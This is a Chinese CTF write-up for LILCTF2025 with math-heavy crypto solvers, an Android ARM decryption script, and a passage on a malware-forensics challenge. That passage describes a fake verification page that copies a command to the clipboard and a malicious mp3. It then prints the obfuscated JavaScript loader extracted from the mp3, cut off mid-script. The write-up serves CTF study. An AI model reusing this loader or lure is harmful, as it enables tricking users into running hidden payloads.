LILCTF2025 - WriteUp
碎碎念
x@:)fp|]W#mc=AXES]{ICf<L,Fq\,ctDFW?rCiJ%^gSu9hylW)UFTio3Sfg\kT(@wl$c0=']-9
第一次的话已经说累了,整点别的
新一轮燃尽之旅,超凡脱俗了,这次的wp很长,因为除了misc我还做了其他方向的内容)
lil的题目还是很不错的,感觉学到了不少,很有意思,明年再战
最后,彦门🙏永存
Crypto
ez_math
知识点省流
ai梭哈
WP
队友做的,不过ai就能秒
Linear
知识点省流
ai梭哈
WP
简单分析一下可以确定,连上靶机后会得到很多数值,实际上是解线性代数
核心在于求解Ax=b,靶机会给我们一个16x32的矩阵和一个16维的向量,我们需要通过计算去反推一个32维的整数向量
可以将原方程变形为Ax-b=0后,构造增广矩阵M和增光向量y,使得方程为My=0
这也对应了y存在于矩阵M的零空间中,由于反推的整数向量是由范围优先的整数构成的,所以使得y在这个空间中对应的格是一个非常短的向量
用LLL算法去找到这个最短的基向量,再从中提出整数向量即可
import os
import random
import signal
signal.alarm(10)
flag = os.getenv("LILCTF_FLAG", "LILCTF{default}")
nrows = 16
ncols = 32
A = [[random.randint(1, 1919810) for _ in range(ncols)] for _ in range(nrows)]
x = [random.randint(1, 114514) for _ in range(ncols)]
b = [sum(A[i][j] * x[j] for j in range(ncols)) for i in range(nrows)]
print(A)
print(b)
xx = list(map(int, input("Enter your solution: ").strip().split()))
if xx != x:
print("Oh, your linear algebra needs to be practiced.")
else:
print("Bravo! Here is your flag:")
print(flag)
注意这里会用到sage,为了省事不用配环境,直接先用纯sage求值,再拿去给脚本提交(得益于他有10s的空档期):
sage部分
from sage.all import Matrix, ZZ, vector
A_list = [
[986289, 1037421, 876831, 1437741, 391463, 484363, 174757, 133667, 33369, 663544, 368272, 557013, 996624, 812241,
1810089, 1036354, 1824268, 713830, 1128134, 1102848, 627504, 1892174, 442125, 1833111, 1028453, 538386, 216739,
1006609, 707510, 1249813, 522731, 36698],
[203409, 426197, 1281098, 1144534, 675897, 1918970, 1004113, 1028254, 152856, 438475, 94912, 1681891, 1621577,
1518042, 1609271, 382100, 496878, 1267972, 641440, 1306870, 278998, 1408790, 37982, 597877, 1856474, 1636130,
467636, 675691, 1523323, 710740, 897592, 48877],
[1380819, 1121490, 481366, 1882091, 776973, 412181, 1893086, 1689076, 1279364, 1090203, 446504, 937696, 1356736,
1785698, 1133105, 972225, 1575203, 1628808, 426026, 79155, 1445489, 1250052, 385011, 1395085, 351205, 37635,
1028217, 750745, 41560, 320123, 132041, 494385],
[1421726, 493587, 32734, 569998, 306241, 1601165, 1697481, 1571883, 1691523, 607793, 1004767, 1873328, 1345180,
1209784, 1169513, 1848614, 446834, 1166759, 545221, 636466, 814032, 1633072, 1289697, 960543, 1774293, 1452803,
730007, 1516989, 1331282, 82932, 1811815, 1569724],
[1913284, 156925, 1739402, 1407622, 1802633, 260179, 163974, 856138, 1273063, 1703047, 1738533, 1231103, 576536,
1755015, 1630181, 1855508, 1918715, 1134086, 1317637, 576849, 1362016, 849710, 944924, 1564365, 629381, 629708,
772138, 142314, 1098055, 832171, 92261, 1222165],
[1618817, 421965, 1392391, 1561729, 485494, 619824, 977145, 1551189, 1795400, 1139062, 1466524, 409661, 965273,
585040, 358765, 1189530, 604120, 658588, 1417013, 794961, 1420364, 1708444, 40389, 1221686, 643051, 1225636,
1185726, 778346, 1195177, 1846558, 1531069, 222253],
[1016259, 919507, 1344827, 1194122, 221754, 392545, 1522180, 512245, 1534393, 562810, 900937, 369936, 1181537,
1828728, 1265368, 1793559, 1813844, 726597, 407245, 800557, 82744, 1194000, 1375068, 442390, 1455934, 1268947,
532426, 1267920, 1723155, 735945, 1478460, 698406],
[1612348, 1778328, 1151131, 1378584, 280865, 1086774, 984000, 819430, 1355050, 1445818, 1002362, 809283, 853566,
6779, 1908510, 1616151, 1891947, 857417, 1306696, 1192725, 301572, 1883223, 1671075, 1668606, 1798560, 602156,
1750906, 25655, 1490017, 1375289, 566125, 965745],
[945795, 1533988, 1226815, 1852828, 1792995, 235559, 1095019, 398406, 1644953, 309437, 1202623, 249151, 735025,
1022271, 1605616, 1322261, 1348376, 856010, 914895, 460316, 1529386, 1579741, 1520179, 1656578, 677860, 1587329,
1376986, 88712, 1562922, 1196594, 542579, 938871],
[938165, 756503, 1181327, 876952, 1109414, 310812, 1788066, 1127478, 1383301, 779819, 1685819, 741633, 955059,
89876, 1644211, 927334, 563654, 846757, 1568679, 681586, 1370600, 1281211, 472303, 1338089, 489066, 1791037,
1579375, 459867, 970155, 387258, 1666207, 252526],
[1670347, 1620499, 813248, 292357, 1236744, 319559, 1238708, 1821094, 821535, 1223683, 458896, 378949, 1227848,
1359572, 761771, 1848633, 1585174, 1823304, 1273961, 807635, 1374877, 514873, 567352, 83771, 315289, 996074,
1777508, 1810410, 1504820, 1176888, 628406, 711034],
[920625, 834976, 1329201, 1758883, 1274401, 513926, 1724767, 1098314, 1077424, 611843, 743733, 692149, 1188047,
152124, 1880491, 1514463, 654241, 1370409, 1884735, 197313, 159775, 1706411, 1899881, 1510237, 1082416, 1203683,
391817, 1236066, 1824223, 246962, 1384340, 288478],
[1250927, 753265, 1259730, 1831186, 114382, 838089, 1383458, 1073806, 1291803, 1017817, 518072, 711461, 571913,
989775, 1190410, 662455, 1487547, 1780354, 1098268, 1852925, 1867594, 174231, 231135, 1639009, 924589, 1507918,
1605300, 1591151, 947924, 827984, 469903, 460327],
[270631, 896737, 1284977, 1099006, 1341566, 1606736, 1697002, 57936, 1019214, 1753421, 103988, 1253453, 846179,
1122321, 740064, 411333, 1450647, 1486217, 1624316, 310933, 1299783, 671139, 159159, 1832387, 1497176, 1681814,
683684, 785514, 153169, 1568184, 334745, 182826],
[211918, 9306, 496852, 40006, 1787878, 1715110, 1560885, 1613812, 1877979, 924353, 1018704, 679792, 83326, 1626192,
1405560, 1216057, 1151537, 397417, 537968, 538506, 1169391, 1885481, 338875, 434421, 1882779, 317920, 1054176,
229376, 1534987, 920639, 387936, 1305511],
[1363205, 1206853, 271204, 895646, 757643, 67932, 1626487, 1287113, 190138, 1116279, 1577572, 1751529, 56272,
421504, 1862400, 1645925, 546567, 1692175, 939505, 915664, 1055182, 1063613, 668269, 86659, 1798406, 507627,
558143, 1691137, 1601012, 865184, 24535, 43094]]
b_list = [1579724526882, 1522534073530, 1804523948901, 2087834012431, 2189880099453, 2084607882676, 1895922937661,
2203265067225, 2093004261502, 1874182288236, 2028844018471, 1884750643445, 2042413341121, 1876922882194,
1867103071580, 1639944240118]
# ==============================================================================
# --- 步骤 2: 运行此脚本 (下面的代码无需修改) ---
def solve_from_data(A_data, b_data):
"""根据给定的 A 和 b 数据,计算并返回解字符串。"""
try:
# 转换为 SageMath 对象
A = Matrix(ZZ, A_data)
b = vector(ZZ, b_data)
# 构造增广矩阵 M = [A | -b]
M = A.augment(-b.column())
# 计算 M 的右零空间并获取其基矩阵
kernel_basis = M.right_kernel().basis_matrix()
# 应用 LLL 算法找到最短向量
lll_basis = kernel_basis.LLL()
short_vector = lll_basis[0]
# 标准化向量,确保最后一个分量为 1
if short_vector[-1] == -1:
solution_y = -short_vector
elif short_vector[-1] == 1:
solution_y = short_vector
else:
# 这种情况在CTF题目中几乎不会发生
return f"错误: LLL求解异常,最后一个元素为 {short_vector[-1]}"
# 提取解 x (除了最后一个元素之外的所有元素)
x = solution_y[:-1]
# 格式化为服务器要求的空格分隔的字符串
solution_str = ' '.join(map(str, x))
return solution_str
except Exception as e:
return f"计算过程中发生错误: {e}"
# 执行计算并打印结果
if __name__ == "__main__":
# 检查占位符数据是否已被替换
if A_list == [[1, 2, 3], [4, 5, 6]]:
print("错误:请先将从 connector.py 获取的真实数据粘贴到此脚本中!")
else:
solution = solve_from_data(A_list, b_list)
print("\n" + "=" * 65)
print("计算完成!请将下面的解复制并粘贴到 connector.py 的运行终端中:")
print("=" * 65 + "\n")
print(solution)
print("\n" + "=" * 65)
提交
from pwn import *
HOST = 'challenge.xinshi.fun'
PORT = 39782
def main():
try:
r = remote(HOST, PORT)
except Exception as e:
log.error(f"连接失败: {e}")
return
# --- 1. 获取题目 ---
log.info("正在从服务器获取矩阵 A 和向量 b...")
line_A = r.recvline().strip().decode()
line_b = r.recvline().strip().decode()
# 为了方便复制,我们打印成 Python 代码格式
print("\n" + "=" * 60)
print("请将以下内容完整复制到 'solver.sage' 文件中,然后运行它:")
print("=" * 60 + "\n")
print(f"A_list = {line_A}")
print(f"b_list = {line_b}")
print("\n" + "=" * 60)
# --- 2. 等待用户输入计算出的解 ---
log.info("等待您输入从 Sage 脚本计算出的解...")
r.recvuntil(b'Enter your solution: ')
try:
solution_str = input("[+] 请在此处粘贴解并按回车: ")
except EOFError:
log.error("输入被中断。")
r.close()
return
# --- 3. 提交解并获取 Flag ---
log.info("正在发送解...")
r.sendline(solution_str.encode())
log.success("解已发送!接收服务器响应...")
# 打印最终的服务器响应
response = r.recvall(timeout=2).decode(errors='ignore')
print("\n" + "=" * 20 + " 服务器响应 " + "=" * 20)
print(response)
print("=" * 55)
r.close()
if __name__ == "__main__":
main()
mid_math
知识点省流
ai梭哈
WP
简单来说,核心就在于用线代的特征值藏了一个key
矩阵C和D满足D=C^key
通过计算他们的特征值可以将问题转为线代问题,然后用离散对数解出key
最后解密即可
# 文件名: calculate_keys.sage
# 运行方式: sage calculate_keys.sage
from sage.all import *
# --- 已知信息 ---
p = 14668080038311483271
C_list = [[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212], [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914], [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670], [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413], [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]]
D_list = [[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044], [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372], [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427], [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551], [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]]
# 1. 设置 SageMath 的有限域和矩阵
P = GF(p)
C_mat = matrix(P, C_list)
D_mat = matrix(P, D_list)
print("[SAGE] 正在计算矩阵 C 和 D 的特征值...")
# 2. 计算特征值并过滤掉 0
C_eigenvalues = [v for v in C_mat.eigenvalues() if v != 0]
D_eigenvalues = [v for v in D_mat.eigenvalues() if v != 0]
print(f"[SAGE] C 的非零特征值: {C_eigenvalues}")
print(f"[SAGE] D 的非零特征值: {D_eigenvalues}")
# 3. 遍历所有可能的特征值配对,求解离散对数
potential_keys = set() # 使用集合来自动去重
for c_eig in C_eigenvalues:
for d_eig in D_eigenvalues:
try:
# 求解离散对数: d_eig = c_eig ^ key
key_candidate = d_eig.log(c_eig)
potential_keys.add(int(key_candidate))
except (ValueError, TypeError):
# 如果配对不正确,log 会失败
continue
print("\n" + "="*50)
print("[SAGE] 数学计算完成。")
print("[SAGE] 所有可能的候选 Key 如下:")
print(list(potential_keys))
print("="*50)
print("\n请将上面的列表复制到下一个 Python 脚本中。")
exp.py
# 文件名: decrypt_flag.py
# 运行方式: python decrypt_flag.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import long_to_bytes
# --- 已知信息 ---
msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"
# --- 粘贴从 Sage 脚本得到的候选 Key 列表 ---
# 例如: potential_keys = [12345, 67890, ...]
potential_keys = [6448373187654316742] # 提示:这里我已经把上一步的计算结果填好了
# --- 开始解密 ---
print("[PYTHON] 开始尝试使用候选 Key 进行解密...")
found = False
for key_int in potential_keys:
try:
print(f"\n[*] 正在尝试 Key: {key_int}")
# 1. 准备 AES 密钥
aes_key = pad(long_to_bytes(key_int), 16)
# 2. 创建解密器并解密
cipher = AES.new(aes_key, AES.MODE_ECB)
decrypted_padded = cipher.decrypt(msg)
# 3. 反填充
# 原始脚本使用 pad(flag, 64),所以 unpad 时 block_size 也是 64
decrypted = unpad(decrypted_padded, 64)
# 4. 验证解密结果
if decrypted.startswith(b'LILCTF{'):
print("\n" + "="*50)
print(f"[SUCCESS] 找到正确的 Key: {key_int}")
print(f"[SUCCESS] 解密成功! Flag 是: {decrypted.decode()}")
print("="*50)
found = True
break
else:
print(f"[-] 解密内容不正确: {decrypted}")
except Exception as e:
# 可能是 unpad 错误,说明 key 不正确
print(f"[-] 解密或反填充失败: {e}")
continue
if not found:
print("\n[FAIL] 遍历了所有候选 Key,但未能解密 Flag。")
Space Travel
知识点省流
ai梭哈
WP
直接利用题目给出的数据构建线性方程组去求解密钥的话需要解2^50量级的解空间
直接暴力求解是很难的,经过多次尝试后,留意到vecs表追踪共给了4096个向量,恰好是其张成的13维子空间的一半((2^13)/2),可以利用这些向量的基坐标去满足一个仿射线性方程,基于这个约束建立50个线性方程,直接构建出一个可直接求解的50x50的方程组,从而解出密钥
import numpy as np
from hashlib import md5
from Crypto.Cipher import AES
# --- 请将从题目文件中获得的数据填入此处 ---
# TODO: 在这里粘贴来自 'params.py' 的 'vecs' 列表
vecs_str = []
# TODO: 在这里粘贴来自 'output.txt' 中'🎁'部分的列表
data = []
# TODO: 在这里粘贴来自 'output.txt' 中'🚩'部分的加密Flag
# 请确保它是一个字节对象 (以 b' 开头)
encrypted_flag = b''
# --- 数据填充结束 ---
def get_rref_and_pivots(A):
"""计算矩阵A在GF(2)上的简化行阶梯形(RREF)和主元列索引"""
m, n = A.shape
A_rref = A.copy()
pivot_cols = []
pivot_row = 0
col_order = list(range(n))
for j in range(n):
if pivot_row < m:
i = pivot_row
while i < m and A_rref[i, j] == 0:
i += 1
if i < m:
A_rref[[pivot_row, i]] = A_rref[[i, pivot_row]]
for row_idx in range(m):
if row_idx != pivot_row and A_rref[row_idx, j] == 1:
A_rref[row_idx, :] ^= A_rref[pivot_row, :]
pivot_cols.append(j)
pivot_row += 1
for i in range(len(pivot_cols) - 1, -1, -1):
pivot_col = pivot_cols[i]
for row_idx in range(i):
if A_rref[row_idx, pivot_col] == 1:
A_rref[row_idx, :] ^= A_rref[i, :]
return A_rref, pivot_cols
def solve_linear_system_gf2(A, b):
"""使用高斯消元法求解 Ax = b 在 GF(2) 上的一个特解"""
m, n = A.shape
aug = np.hstack([A.copy(), b.reshape(-1, 1)])
aug_rref, pivot_cols = get_rref_and_pivots(aug)
x = np.zeros(n, dtype=np.uint8)
# 检查解是否存在
for i in range(len(pivot_cols), m):
if aug_rref[i, -1] == 1:
raise ValueError("System has no solution")
for i, p_col in enumerate(pivot_cols):
if p_col < n:
x[p_col] = aug_rref[i, -1]
return x
def get_null_space_basis(A):
"""求解矩阵A在GF(2)上的零空间基"""
m, n = A.shape
A_rref, pivot_cols = get_rref_and_pivots(A)
free_cols = sorted(list(set(range(n)) - set(pivot_cols)))
basis = []
for f_col in free_cols:
v = np.zeros(n, dtype=np.uint8)
v[f_col] = 1
for i, p_col in enumerate(pivot_cols):
if A_rref[i, f_col] == 1:
v[p_col] = 1
basis.append(v)
return np.array(basis, dtype=np.uint8).T
def solve_challenge():
if not all([vecs_str, data, encrypted_flag]):
print("错误:请先在脚本中填入 'vecs_str', 'data', 和 'encrypted_flag' 的值。")
return
print("步骤 1: 分析vecs列表,找到隐藏的线性约束...")
vecs_np = np.array([[int(c) for c in v] for v in vecs_str], dtype=np.uint8)
# 1a. 计算vecs空间的基
rref_vecs, p_cols_vecs = get_rref_and_pivots(vecs_np)
rank = len(p_cols_vecs)
basis_matrix = rref_vecs[:rank]
print(f" - vecs空间的秩 (Rank) = {rank}")
# 1b. 将所有vecs向量表示为基的系数
# 为了求解 a @ B = v,我们解 B.T @ a.T = v.T
B_T = basis_matrix.T
coeffs = []
for v in vecs_np:
a = solve_linear_system_gf2(B_T, v)
coeffs.append(a)
coeffs_matrix = np.array(coeffs, dtype=np.uint8)
# 1c. 找到系数矩阵的仿射约束 w, b
# 寻找一个向量 (w, b) 使得 [coeffs_matrix | 1] @ (w, b).T = 0
aug_coeffs = np.hstack([coeffs_matrix, np.ones((len(coeffs_matrix), 1), dtype=np.uint8)])
affine_constraint = get_null_space_basis(aug_coeffs)[:, 0]
w = affine_constraint[:-1]
b = affine_constraint[-1]
print(" - 成功找到隐藏的线性约束方程!")
print("步骤 2: 构建主线性方程组...")
num_unknowns = 50 * rank
A_new = np.zeros((len(data), num_unknowns), dtype=np.uint8)
p = np.array([item[1] for item in data], dtype=np.uint8)
for i, (nonce, _) in enumerate(data):
nonce_bits = format(nonce, f'0{50*16}b')
row = []
for j in range(50):
n_j = np.array([int(b) for b in nonce_bits[j*16:(j+1)*16]], dtype=np.uint8)
row.extend((basis_matrix @ n_j) % 2)
A_new[i] = np.array(row, dtype=np.uint8)
print("步骤 3: 求解主方程组的特解和零空间...")
M_p_flat, N_basis = get_null_space_basis(A_new), get_null_space_basis(np.hstack([A_new, p.reshape(-1,1)]))
M_p_flat = N_basis[:num_unknowns, -1]
N_basis = N_basis[:num_unknowns, :-1]
d_null = N_basis.shape[1]
print(f" - 特解已找到,零空间维度为 {d_null}")
print("步骤 4: 利用隐藏约束构建新方程组,直接求解零空间系数...")
M_p = M_p_flat.reshape(50, rank)
Ac = np.zeros((50, d_null), dtype=np.uint8)
bc = np.zeros(50, dtype=np.uint8)
for j in range(50):
# (M_p_j + sum(c_i * N_ij)) @ w + b = 0
# sum(c_i * (N_ij @ w)) = M_p_j @ w + b
for i in range(d_null):
N_ij = N_basis[:, i].reshape(50, rank)[j]
Ac[j, i] = (N_ij @ w) % 2
bc[j] = ((M_p[j] @ w) % 2 + b) % 2
print(" - 新方程组构建完毕,求解...")
c = solve_linear_system_gf2(Ac, bc)
print(" - 成功求解出唯一的零空间系数!")
print("步骤 5: 重构最终密钥...")
M_correct_flat = (M_p_flat + N_basis @ c) % 2
coefficients = M_correct_flat.reshape(50, rank)
key_blocks = (coefficients @ basis_matrix) % 2
key_str = "".join("".join(map(str, row)) for row in key_blocks)
key = int(key_str, 2)
print(" - 密钥重构成功。")
print("步骤 6: 解密Flag...")
aes_key = md5(str(key).encode()).digest()
cipher = AES.new(key=aes_key, nonce=b"Tiffany", mode=AES.MODE_CTR)
flag = cipher.decrypt(encrypted_flag)
print("\n" + "="*40)
try:
print(f"🚩 Flag: {flag.decode()}")
except UnicodeDecodeError:
print(f"🚩 Flag (原始字节): {flag}")
print("="*40)
if __name__ == '__main__':
solve_challenge()
Re
ARM ASM
知识点省流
简单的安卓逆向
WP
先用ida分析一下apk里面的so,找到mainactivity,看不懂就丢给ai分析,大致可以确定是一个对输入字符串的加解密编码的过程,同时里面引入了一个t的值
可以看到里面用到了一个base64的编码函数,找到t对应的位置,还能看到base64的索引表,这里被魔改了
所以提出t的值和base64索引表后,我们就可以写解密脚本了,但现在我们还需要密文
这里需要用到jadx去打开apk,老样子还是找mainactivity,就能看到下面加密字符串
最后搓脚本就好
# --- 自定义字符表 ---
CUSTOM_BASE64_ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"
# --- 常量和初始数据 ---
# t表保持不变
t_table = [0xD, 0xE, 0xF, 0xC, 0xB, 0xA, 9, 8, 6, 7, 5, 4, 2, 3, 1, 0]
# 加密的字符串
encrypted_str = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"
# --- 辅助函数 ---
def custom_b64decode(encoded_string):
"""
使用自定义的Base64字符表解码字符串。
"""
# 创建从字符到索引值的反向映射
decode_map = {char: i for i, char in enumerate(CUSTOM_BASE64_ALPHABET)}
# 移除任何可能的填充符(尽管在这个例子中没有)
encoded_string = encoded_string.rstrip('=')
# 将编码字符串转换为6位的整数值列表
sextets = [decode_map[char] for char in encoded_string]
decoded_bytes = bytearray()
# 以4个值为一组进行处理 (4 * 6位 = 24位 = 3字节)
for i in range(0, len(sextets), 4):
chunk = sextets[i:i + 4]
# 将4个6位值合并成一个24位整数
val = (chunk[0] << 18) | (chunk[1] << 12) | (chunk[2] << 6) | chunk[3]
# 将24位整数拆分为3个8位字节
byte1 = (val >> 16) & 0xFF
byte2 = (val >> 8) & 0xFF
byte3 = val & 0xFF
decoded_bytes.extend([byte1, byte2, byte3])
# 根据填充情况处理末尾
if encoded_string.endswith('=='):
return decoded_bytes[:-2]
elif encoded_string.endswith('='):
return decoded_bytes[:-1]
return decoded_bytes
def rol(byte, shift):
"""
对一个字节执行左循环移位 (ROL)。
"""
return ((byte << shift) | (byte >> (8 - shift))) & 0xFF
def get_table_for_iteration(i):
"""
计算在加密循环的第 'i' 次迭代时使用的v10表。
表在每次迭代中被使用后才会更新。
"""
current_table = list(t_table)
# i=0时, 使用原始的t表。
# i=1时, 使用原始的t表。
# i=2时, 使用 t表 XOR [1,1,1,...] 后的表。
if i == 2:
for j in range(16):
current_table[j] ^= 1
return current_table
def unshuffle(data_chunk, table):
"""
逆转查询表操作 (vqtbl1q_s8)。
加密: shuffled[j] = plain[table[j]]
解密: plain[table[j]] = shuffled[j]
"""
if len(data_chunk) != 16 or len(table) != 16:
raise ValueError("数据和表都必须是16字节。")
plain_chunk = [0] * 16
for i in range(16):
# 目标索引是 table[i]
# 要放置的值是 data_chunk[i]
plain_chunk[table[i]] = data_chunk[i]
return plain_chunk
# --- 解密流程 ---
# 1. 使用自定义的字符表进行Base64解码
try:
decoded_data = custom_b64decode(encrypted_str)
print(f"[+] 使用自定义字符表解码后的数据 (长度={len(decoded_data)}): {decoded_data.hex()}")
except Exception as e:
print(f"[-] 自定义Base64解码失败: {e}")
exit()
if len(decoded_data) != 48:
print(f"[-] 错误: 解码后的数据长度不是48字节, 而是 {len(decoded_data)}。")
exit()
# 2. 逆转第二个循环 (位操作)
# 加密是ROR (右循环移位), 所以我们用ROL (左循环移位) 来逆转。
data_after_bit_ops_reversal = bytearray(decoded_data)
for j in range(0, 48, 3):
# 逆转: v11[j] = ROR(v11[j], 5) => v11[j] = ROL(v11[j], 5)
data_after_bit_ops_reversal[j] = rol(data_after_bit_ops_reversal[j], 5)
# 逆转: v11[j+1] = ROR(v11[j+1], 1) => v11[j+1] = ROL(v11[j+1], 1)
data_after_bit_ops_reversal[j + 1] = rol(data_after_bit_ops_reversal[j + 1], 1)
# v11[j+2] 没有被修改, 所以我们什么都不做。
print(f"[+] 逆转位旋转操作后的数据: {data_after_bit_ops_reversal.hex()}")
# 3. 逆转第一个循环 (NEON逻辑)
# 我们必须以相反的顺序迭代: 2, 1, 0。
final_decrypted_data = bytearray(data_after_bit_ops_reversal)
for i in range(2, -1, -1):
# 获取当前处理的16字节数据块
start = 16 * i
end = start + 16
encrypted_chunk = final_decrypted_data[start:end]
# 获取本次迭代对应的正确的表
current_table = get_table_for_iteration(i)
# 步骤 3.1: 逆转XOR操作
# encrypted_chunk = XOR(shuffled_plain, table) => shuffled_plain = XOR(encrypted_chunk, table)
shuffled_plain = [c ^ t for c, t in zip(encrypted_chunk, current_table)]
# 步骤 3.2: 逆转shuffle操作 (vqtbl1q_s8)
plain_chunk = unshuffle(shuffled_plain, current_table)
# 将解密后的数据块放回数据数组中
final_decrypted_data[start:end] = bytearray(plain_chunk)
# --- 最终结果 ---
try:
result_string = final_decrypted_data.decode('utf-8')
print("\n========================================")
print(f"✅ Flag/解密后的字符串: {result_string}")
print("========================================")
except UnicodeDecodeError:
print("\n========================================")
print("[-] 无法将结果解码为UTF-8字符串。原始字节如下:")
print(f"解密后的字节: {final_decrypted_data.hex()}")
print("========================================")
1'M no7 A rO6oT
知识点省流
还算简单的恶意代码取证逆向
WP
首先题目提到了自行承担后果,所以铁定没什么好事
进靶机之后根据他的验证提示,发现这里莫名其妙复制了一串命令(如果真执行了就会关机tmd)
拉出来分析,发现他访问了一个mp3文件,给他下下来,不用说都知道里面有恶意代码或者程序,但是直接010看尾巴看不出来,内容有一点多,所以我一点点翻,发现这里有个script,所以把他前后截断提取出来
提取得到代码如下,这其实就js,
<script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;var SxhM = String.fromCharCode(SK,UP,tV,Fx,nI,pV,wt,tV,RV,pV,wt,wV,Rp,kz,CX,GH,PS,YO,kF,PO,QF,sZ,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,ST,RV,Ix,Ix,Im,SK,wt,sV,RV,GH,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,Fi,Im,Gm,YZ,Xj,kF,RV,dL,RV,PS,YO,kF,PO,cX,ho,Gm,tV,Lj,nI,wl,Im,RV,Gm,YZ,Xj,kF,jF,jF,QF,sZ,nd,Ge,sV,RV,tV,Gg,aV,uD,RV,ST,RV,Nj,nI,sV,pV,tV,Lj,cX,SK,sV,wt,YZ,uD,wl,Ge,sV,uD,wt,Gg,Gm,GH,PS,YO,kF,PO,US,Gm,YZ,Xj,kF,tg,RV,vx,RV,xv,Fi,QB,QF,Im,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,wt,wl,NL,Ep,uS,Lj,RV,jF,RV,tV,Gg,aV,uD,WT,sV,Gm,nI,UP,sV,tV,RV,wt,wl,NL,Ep,uS,Lj,WT,Im,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,FT,QB,yN,ff,RV,FT,QB,it,ff,RV,FT,it,Fi,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,xv,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,kX,ff,RV,FT,Fi,kX,ff,RV,xv,zN,FT,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,FT,Fi,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,it,Fi,ff,RV,xv,yN,yN,ff,RV,xv,NW,Fi,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,Mb,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,Fi,Fi,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,yN,yN,ff,RV,xv,xv,it,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,zN,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,FT,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,QB,FT,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,xv,zN,QB,ff,RV,xv,zN,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,M